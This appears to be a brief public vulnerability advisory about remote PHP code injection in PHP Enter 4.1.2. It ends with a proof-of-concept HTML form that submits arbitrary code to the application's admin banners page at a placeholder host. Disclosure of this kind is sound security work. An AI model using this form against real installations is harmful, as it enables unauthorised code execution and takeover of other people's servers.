source: https://www.securityfocus.com/bid/53426/info PHP Enter is prone to a remote PHP code-injection vulnerability. An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. PHP Enter 4.1.2 is vulnerable; other versions may also be affected. <form method="post" action="http://www.example.com/admin/banners.php"> <center> <font color=#3A586A>Code</font><br /> <textarea name="code"></textarea> <br /><br /> <input type="submit" name="submit" VALUE=" Submit"><br /><br /><br /><br/> </form>